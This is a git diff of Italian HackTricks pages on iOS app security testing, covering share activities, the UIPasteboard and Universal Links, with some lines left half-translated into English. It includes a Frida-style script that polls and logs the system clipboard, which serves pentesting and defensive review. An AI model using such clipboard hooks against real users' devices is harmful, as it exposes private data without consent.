$ rabin2 -zq Telegram\ X.app/Telegram\ X | grep -i activityItems
|
||||||
0x1000df034 45 44 initWithActivityItems:applicationActivities:
|
0x1000df034 45 44 initWithActivityItems:applicationActivities:
|
||||||
```
|
```
|
||||||
Gli sviluppatori dovrebbero esaminare attentamente `UIActivityViewController` per le attività e le attività personalizzate con cui è inizializzato, così come eventuali `excludedActivityTypes` specificati.
|
Developers should scrutinize the `UIActivityViewController` for the activities and custom activities it's initialized with, as well as any specified `excludedActivityTypes`.
|
||||||
|
|
||||||
## **Come ricevere dati**
|
## **Come Ricevere Dati**
|
||||||
|
|
||||||
Gli aspetti seguenti sono cruciali quando si ricevono dati:
|
The following aspects are crucial when receiving data:
|
||||||
|
|
||||||
- La dichiarazione di **tipi di documenti personalizzati**.
|
- The declaration of **tipi di documento personalizzati**.
|
||||||
- La specifica dei **tipi di documenti che l'app può aprire**.
|
- The specification of **tipi di documento che l'app può aprire**.
|
||||||
- La verifica dell'**integrità dei dati ricevuti**.
|
- The verification of the **integrità dei dati ricevuti**.
|
||||||
|
|
||||||
Senza accesso al codice sorgente, è comunque possibile ispezionare `Info.plist` per chiavi come `UTExportedTypeDeclarations`, `UTImportedTypeDeclarations` e `CFBundleDocumentTypes` per capire i tipi di documenti che un'app può gestire e dichiarare.
|
Without access to the source code, one can still inspect the `Info.plist` for keys like `UTExportedTypeDeclarations`, `UTImportedTypeDeclarations`, and `CFBundleDocumentTypes` to understand the types of documents an app can handle and declare.
|
||||||
|
|
||||||
Una guida sintetica su queste chiavi è disponibile su [Stackoverflow](https://stackoverflow.com/questions/21937978/what-are-utimportedtypedeclarations-and-utexportedtypedeclarations-used-for-on-i), evidenziando l'importanza di definire e importare UTI per il riconoscimento a livello di sistema e associare tipi di documenti all'app per l'integrazione nella finestra di dialogo "Apri con".
|
A succinct guide on these keys is available on [Stackoverflow](https://stackoverflow.com/questions/21937978/what-are-utimportedtypedeclarations-and-utexportedtypedeclarations-used-for-on-i), highlighting the importance of defining and importing UTIs for system-wide recognition and associating document types with your app for integration in the "Open With" dialogue.
|
||||||
|
|
||||||
## Approccio di testing dinamico
|
## Dynamic Testing Approach
|
||||||
|
|
||||||
Per testare le **attività di invio**, si potrebbe:
|
To test **invio di attività**, one could:
|
||||||
|
|
||||||
- Intercettare il metodo `init(activityItems:applicationActivities:)` per catturare gli elementi e le attività condivise.
|
- Hook into the `init(activityItems:applicationActivities:)` method to capture the items and activities being shared.
|
||||||
- Identificare le attività escluse intercettando la proprietà `excludedActivityTypes`.
|
- Identify excluded activities by intercepting the `excludedActivityTypes` property.
|
||||||
|
|
||||||
Per quanto riguarda la **ricezione degli elementi**, comporta:
|
For **ricezione di elementi**, it involves:
|
||||||
|
|
||||||
- Condividere un file con l'app da un'altra fonte (ad esempio, AirDrop, email) che richiama la finestra di dialogo "Apri con...".
|
- Sharing a file with the app from another source (e.g., AirDrop, email) that prompts the "Open with..." dialogue.
|
||||||
- Intercettare `application:openURL:options:` tra gli altri metodi identificati durante l'analisi statica per osservare la risposta dell'app.
|
- Hooking `application:openURL:options:` among other methods identified during static analysis to observe the app's response.
|
||||||
- Utilizzare file malformati o tecniche di fuzzing per valutare la robustezza dell'app.
|
- Employing malformed files or fuzzing techniques to evaluate the app's robustness.
|
||||||
|
|
||||||
## Riferimenti
|
## References
|
||||||
* [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction)
|
* [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction)
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF**, controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
||||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR ai repository github di** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,56 +1,57 @@
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
||||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://websec.nl/" %}
|
{% embed url="https://websec.nl/" %}
|
||||||
|
|
||||||
|
|
||||||
Lo scambio di dati all'interno e tra le applicazioni sui dispositivi iOS è facilitato dal meccanismo [`UIPasteboard`](https://developer.apple.com/documentation/uikit/uipasteboard), che è diviso in due categorie principali:
|
La condivisione dei dati all'interno e tra le applicazioni sui dispositivi iOS è facilitata dal meccanismo [`UIPasteboard`](https://developer.apple.com/documentation/uikit/uipasteboard), che è suddiviso in due categorie principali:
|
||||||
|
|
||||||
- **Pasteboard generale a livello di sistema**: Questo viene utilizzato per condividere dati con **qualsiasi applicazione** ed è progettato per persistere i dati attraverso riavvii del dispositivo e disinstallazioni dell'app, una funzionalità disponibile da iOS 10.
|
- **Appunti generali a livello di sistema**: Questo viene utilizzato per condividere dati con **qualsiasi applicazione** ed è progettato per mantenere i dati anche dopo il riavvio del dispositivo e la disinstallazione dell'app, una funzionalità disponibile da iOS 10.
|
||||||
- **Pasteboard personalizzato / con nome**: Questi sono specifici per la condivisione di dati **all'interno di un'app o con un'altra app** che condivide lo stesso ID di team e non sono progettati per persistere oltre la durata del processo dell'applicazione che li crea, seguendo le modifiche introdotte in iOS 10.
|
- **Appunti personalizzati / nominati**: Questi sono specificamente per la condivisione dei dati **all'interno di un'app o con un'altra app** che condivide lo stesso ID team e non sono progettati per persistere oltre la vita del processo dell'applicazione che li crea, seguendo le modifiche introdotte in iOS 10.
|
||||||
|
|
||||||
Le **considerazioni sulla sicurezza** giocano un ruolo significativo nell'utilizzo dei pasteboard. Ad esempio:
|
**Considerazioni sulla sicurezza** giocano un ruolo significativo quando si utilizzano gli appunti. Ad esempio:
|
||||||
- Non esiste un meccanismo per gli utenti per gestire le autorizzazioni dell'app per accedere al **pasteboard**.
|
- Non esiste un meccanismo per gli utenti per gestire le autorizzazioni delle app per accedere agli **appunti**.
|
||||||
- Per mitigare il rischio di monitoraggio non autorizzato in background del pasteboard, l'accesso è limitato quando l'applicazione è in primo piano (da iOS 9).
|
- Per mitigare il rischio di monitoraggio non autorizzato in background degli appunti, l'accesso è limitato a quando l'applicazione è in primo piano (da iOS 9).
|
||||||
- L'uso dei pasteboard con nome persistenti è sconsigliato a favore dei contenitori condivisi a causa di preoccupazioni sulla privacy.
|
- L'uso di appunti nominati persistenti è sconsigliato a favore di contenitori condivisi a causa di preoccupazioni sulla privacy.
|
||||||
- La funzionalità **Universal Clipboard** introdotta con iOS 10, che consente di condividere contenuti tra dispositivi tramite il pasteboard generale, può essere gestita dai sviluppatori per impostare la scadenza dei dati e disabilitare il trasferimento automatico dei contenuti.
|
- La funzionalità **Appunti Universali** introdotta con iOS 10, che consente di condividere contenuti tra dispositivi tramite gli appunti generali, può essere gestita dagli sviluppatori per impostare la scadenza dei dati e disabilitare il trasferimento automatico dei contenuti.
|
||||||
|
|
||||||
Assicurarsi che le **informazioni sensibili non vengano memorizzate per errore** sul pasteboard generale è cruciale. Inoltre, le applicazioni dovrebbero essere progettate per prevenire l'abuso dei dati del pasteboard generale per azioni non intenzionali e si incoraggia gli sviluppatori ad implementare misure per impedire la copia di informazioni sensibili negli appunti.
|
Assicurarsi che **le informazioni sensibili non siano memorizzate involontariamente** negli appunti globali è cruciale. Inoltre, le applicazioni dovrebbero essere progettate per prevenire l'uso improprio dei dati degli appunti globali per azioni non intenzionali, e gli sviluppatori sono incoraggiati a implementare misure per prevenire la copia di informazioni sensibili negli appunti.
|
||||||
|
|
||||||
### Analisi Statica
|
### Analisi Statica
|
||||||
|
|
||||||
Per l'analisi statica, cerca nel codice sorgente o binario:
|
Per l'analisi statica, cerca nel codice sorgente o nel binario:
|
||||||
- `generalPasteboard` per identificare l'uso del **pasteboard generale a livello di sistema**.
|
- `generalPasteboard` per identificare l'uso degli **appunti generali a livello di sistema**.
|
||||||
- `pasteboardWithName:create:` e `pasteboardWithUniqueName` per la creazione di **pasteboard personalizzati**. Verifica se è abilitata la persistenza, anche se è deprecata.
|
- `pasteboardWithName:create:` e `pasteboardWithUniqueName` per creare **appunti personalizzati**. Verifica se la persistenza è abilitata, anche se questo è deprecato.
|
||||||
|
|
||||||
### Analisi Dinamica
|
### Analisi Dinamica
|
||||||
|
|
||||||
L'analisi dinamica coinvolge l'hooking o il tracciamento di metodi specifici:
|
L'analisi dinamica comporta il hooking o il tracciamento di metodi specifici:
|
||||||
- Monitora `generalPasteboard` per l'uso a livello di sistema.
|
- Monitora `generalPasteboard` per l'uso a livello di sistema.
|
||||||
- Traccia `pasteboardWithName:create:` e `pasteboardWithUniqueName` per le implementazioni personalizzate.
|
- Traccia `pasteboardWithName:create:` e `pasteboardWithUniqueName` per implementazioni personalizzate.
|
||||||
- Osserva le chiamate di metodo deprecate `setPersistent:` per controllare le impostazioni di persistenza.
|
- Osserva le chiamate al metodo deprecato `setPersistent:` per controllare le impostazioni di persistenza.
|
||||||
|
|
||||||
Dettagli chiave da monitorare includono:
|
Dettagli chiave da monitorare includono:
|
||||||
- **Nomi del pasteboard** e **contenuti** (ad esempio, controllare stringhe, URL, immagini).
|
- **Nomi degli appunti** e **contenuti** (ad esempio, controllando stringhe, URL, immagini).
|
||||||
- **Numero di elementi** e **tipi di dati** presenti, sfruttando controlli standard e personalizzati sui tipi di dati.
|
- **Numero di elementi** e **tipi di dati** presenti, sfruttando controlli sui tipi di dati standard e personalizzati.
|
||||||
- **Opzioni di scadenza e solo locale** ispezionando il metodo `setItems:options:`.
|
- **Opzioni di scadenza e solo locali** ispezionando il metodo `setItems:options:`.
|
||||||
|
|
||||||
Un esempio di utilizzo di uno strumento di monitoraggio è il **monitor del pasteboard di objection**, che interroga il generalPasteboard ogni 5 secondi per i cambiamenti e restituisce i nuovi dati.
|
Un esempio di utilizzo di uno strumento di monitoraggio è il **monitor degli appunti di objection**, che interroga il generalPasteboard ogni 5 secondi per rilevare cambiamenti e restituisce i nuovi dati.
|
||||||
|
|
||||||
Ecco un semplice esempio di script JavaScript, ispirato all'approccio di objection, per leggere e registrare i cambiamenti dal pasteboard ogni 5 secondi:
|
Ecco un semplice esempio di script JavaScript, ispirato all'approccio di objection, per leggere e registrare le modifiche dagli appunti ogni 5 secondi:
|
||||||
```javascript
|
```javascript
|
||||||
const UIPasteboard = ObjC.classes.UIPasteboard;
|
const UIPasteboard = ObjC.classes.UIPasteboard;
|
||||||
const Pasteboard = UIPasteboard.generalPasteboard();
|
const Pasteboard = UIPasteboard.generalPasteboard();
|
||||||
|
@ -85,16 +86,17 @@ console.log(items);
|
||||||
{% embed url="https://websec.nl/" %}
|
{% embed url="https://websec.nl/" %}
|
||||||
|
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Impara e pratica AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Impara e pratica GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>Supporta HackTricks</summary>
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* Se desideri vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
|
||||||
* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
||||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,28 +1,31 @@
|
||||||
# iOS Universal Links
|
# iOS Universal Links
|
||||||
|
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
||||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
|
|
||||||
## Introduzione
|
## Introduzione
|
||||||
|
|
||||||
I collegamenti universali offrono un'esperienza di **redirezione senza soluzione di continuità** agli utenti aprendo direttamente i contenuti nell'app, evitando la necessità di redirezionamento tramite Safari. Questi collegamenti sono **unici** e sicuri, poiché non possono essere rivendicati da altre app. Ciò è garantito ospitando un file JSON `apple-app-site-association` nella directory radice del sito web, stabilendo un collegamento verificabile tra il sito web e l'app. Nei casi in cui l'app non sia installata, Safari prenderà il controllo e indirizzerà l'utente alla pagina web, mantenendo la presenza dell'app.
|
I link universali offrono un'esperienza di **reindirizzamento senza soluzione di continuità** agli utenti aprendo direttamente il contenuto nell'app, bypassando la necessità di un reindirizzamento su Safari. Questi link sono **unici** e sicuri, poiché non possono essere rivendicati da altre app. Questo è garantito ospitando un file JSON `apple-app-site-association` nella directory radice del sito web, stabilendo un collegamento verificabile tra il sito web e l'app. Nei casi in cui l'app non sia installata, Safari prenderà il controllo e dirigerà l'utente alla pagina web, mantenendo la presenza dell'app.
|
||||||
|
|
||||||
Per i tester di penetrazione, il file `apple-app-site-association` è di particolare interesse in quanto potrebbe rivelare **percorsi sensibili**, potenzialmente inclusi quelli relativi a funzionalità non ancora rilasciate.
|
Per i tester di penetrazione, il file `apple-app-site-association` è di particolare interesse poiché potrebbe rivelare **percorsi sensibili**, potenzialmente inclusi quelli relativi a funzionalità non rilasciate.
|
||||||
|
|
||||||
### **Analisi dell'Abilitazione dei Domini Associati**
|
### **Analisi del diritto ai domini associati**
|
||||||
|
|
||||||
Gli sviluppatori abilitano i Collegamenti Universali configurando i **Domini Associati** nella scheda Capacità di Xcode o ispezionando il file `.entitlements`. Ogni dominio è preceduto da `applinks:`. Ad esempio, la configurazione di Telegram potrebbe apparire come segue:
|
Gli sviluppatori abilitano i link universali configurando i **Domini Associati** nella scheda Capacità di Xcode o ispezionando il file `.entitlements`. Ogni dominio è preceduto da `applinks:`. Ad esempio, la configurazione di Telegram potrebbe apparire come segue:
|
||||||
```xml
|
```xml
|
||||||
<key>com.apple.developer.associated-domains</key>
|
<key>com.apple.developer.associated-domains</key>
|
||||||
<array>
|
<array>
|
||||||
|
@ -30,21 +33,21 @@ Gli sviluppatori abilitano i Collegamenti Universali configurando i **Domini Ass
|
||||||
<string>applinks:t.me</string>
|
<string>applinks:t.me</string>
|
||||||
</array>
|
</array>
|
||||||
```
|
```
|
||||||
Per approfondimenti più completi, fare riferimento alla [Documentazione degli sviluppatori Apple archiviata](https://developer.apple.com/library/archive/documentation/General/Conceptual/AppSearch/UniversalLinks.html#//apple_ref/doc/uid/TP40016308-CH12-SW2).
|
Per ulteriori informazioni dettagliate, fare riferimento alla [documentazione archiviata per sviluppatori Apple](https://developer.apple.com/library/archive/documentation/General/Conceptual/AppSearch/UniversalLinks.html#//apple_ref/doc/uid/TP40016308-CH12-SW2).
|
||||||
|
|
||||||
Se si lavora con un'applicazione compilata, i diritti possono essere estratti come descritto in [questa guida](extracting-entitlements-from-compiled-application.md).
|
Se si lavora con un'applicazione compilata, i diritti possono essere estratti come descritto in [questa guida](extracting-entitlements-from-compiled-application.md).
|
||||||
|
|
||||||
### **Recupero del file Apple App Site Association**
|
### **Recupero del file Apple App Site Association**
|
||||||
|
|
||||||
Il file `apple-app-site-association` deve essere recuperato dal server utilizzando i domini specificati nei diritti. Assicurarsi che il file sia accessibile tramite HTTPS direttamente su `https://<dominio>/apple-app-site-association`. Strumenti come il [Validatore dell'Apple App Site Association (AASA)](https://branch.io/resources/aasa-validator/) possono aiutare in questo processo.
|
Il file `apple-app-site-association` deve essere recuperato dal server utilizzando i domini specificati nei diritti. Assicurati che il file sia accessibile tramite HTTPS direttamente a `https://<domain>/apple-app-site-association`. Strumenti come il [Validator Apple App Site Association (AASA)](https://branch.io/resources/aasa-validator/) possono aiutare in questo processo.
|
||||||
|
|
||||||
### **Gestione dei collegamenti universali nell'app**
|
### **Gestione dei link universali nell'app**
|
||||||
|
|
||||||
L'app deve implementare metodi specifici per gestire correttamente i collegamenti universali. Il metodo principale da cercare è [`application:continueUserActivity:restorationHandler:`](https://developer.apple.com/documentation/uikit/uiapplicationdelegate/1623072-application). È cruciale che lo schema degli URL gestiti sia HTTP o HTTPS, poiché altri non saranno supportati.
|
L'app deve implementare metodi specifici per gestire correttamente i link universali. Il metodo principale da cercare è [`application:continueUserActivity:restorationHandler:`](https://developer.apple.com/documentation/uikit/uiapplicationdelegate/1623072-application). È fondamentale che lo schema degli URL gestiti sia HTTP o HTTPS, poiché altri non saranno supportati.
|
||||||
|
|
||||||
#### **Convalida del metodo del gestore dei dati**
|
#### **Validazione del metodo gestore dei dati**
|
||||||
|
|
||||||
Quando un collegamento universale apre un'app, un oggetto `NSUserActivity` viene passato all'app con l'URL. Prima di elaborare questo URL, è essenziale convalidarlo e sanificarlo per prevenire rischi per la sicurezza. Ecco un esempio in Swift che illustra il processo:
|
Quando un link universale apre un'app, un oggetto `NSUserActivity` viene passato all'app con l'URL. Prima di elaborare questo URL, è essenziale convalidarlo e sanificarlo per prevenire rischi per la sicurezza. Ecco un esempio in Swift che dimostra il processo:
|
||||||
```swift
|
```swift
|
||||||
func application(_ application: UIApplication, continue userActivity: NSUserActivity,
|
func application(_ application: UIApplication, continue userActivity: NSUserActivity,
|
||||||
restorationHandler: @escaping ([UIUserActivityRestoring]?) -> Void) -> Bool {
|
restorationHandler: @escaping ([UIUserActivityRestoring]?) -> Void) -> Bool {
|
||||||
|
@ -56,7 +59,7 @@ application.open(url, options: [:], completionHandler: nil)
|
||||||
return true
|
return true
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
Gli URL dovrebbero essere attentamente analizzati e convalidati, specialmente se includono parametri, per proteggersi da possibili tentativi di spoofing o dati malformati. L'API `NSURLComponents` è utile a questo scopo, come dimostrato di seguito:
|
URLs devono essere analizzati e convalidati con attenzione, specialmente se includono parametri, per proteggere contro potenziali spoofing o dati malformati. L'API `NSURLComponents` è utile a questo scopo, come dimostrato di seguito:
|
||||||
```swift
|
```swift
|
||||||
func application(_ application: UIApplication,
|
func application(_ application: UIApplication,
|
||||||
continue userActivity: NSUserActivity,
|
continue userActivity: NSUserActivity,
|
||||||
|
@ -82,28 +85,26 @@ return false
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
Attraverso **una configurazione e una convalida diligenti**, gli sviluppatori possono garantire che i collegamenti universali migliorino l'esperienza dell'utente mantenendo gli standard di sicurezza e privacy.
|
Attraverso **una configurazione e una validazione diligenti**, gli sviluppatori possono garantire che i link universali migliorino l'esperienza dell'utente mantenendo standard di sicurezza e privacy.
|
||||||
|
|
||||||
|
## Tools
|
||||||
|
* [GetUniversal.link](https://getuniversal.link/): Aiuta a semplificare il testing e la gestione dei Link Universali della tua app e del file AASA. Basta inserire il tuo dominio per verificare l'integrità del file AASA o utilizzare il dashboard personalizzato per testare facilmente il comportamento dei link. Questo strumento ti aiuta anche a determinare quando Apple indicizzerà nuovamente il tuo file AASA.
|
||||||
|
|
||||||
## Strumenti
|
## References
|
||||||
* [GetUniversal.link](https://getuniversal.link/): Aiuta a semplificare il testing e la gestione dei collegamenti universali e del file AASA dell'app. Basta inserire il proprio dominio per verificare l'integrità del file AASA o utilizzare il pannello personalizzato per testare facilmente il comportamento del collegamento. Questo strumento aiuta anche a determinare quando Apple indicizzerà il prossimo file AASA.
|
|
||||||
|
|
||||||
## Riferimenti
|
|
||||||
* [https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0070/#static-analysis](https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0070/#static-analysis)
|
* [https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0070/#static-analysis](https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0070/#static-analysis)
|
||||||
* [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-object-persistence-mstg-platform-8](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-object-persistence-mstg-platform-8)
|
* [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-object-persistence-mstg-platform-8](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-object-persistence-mstg-platform-8)
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
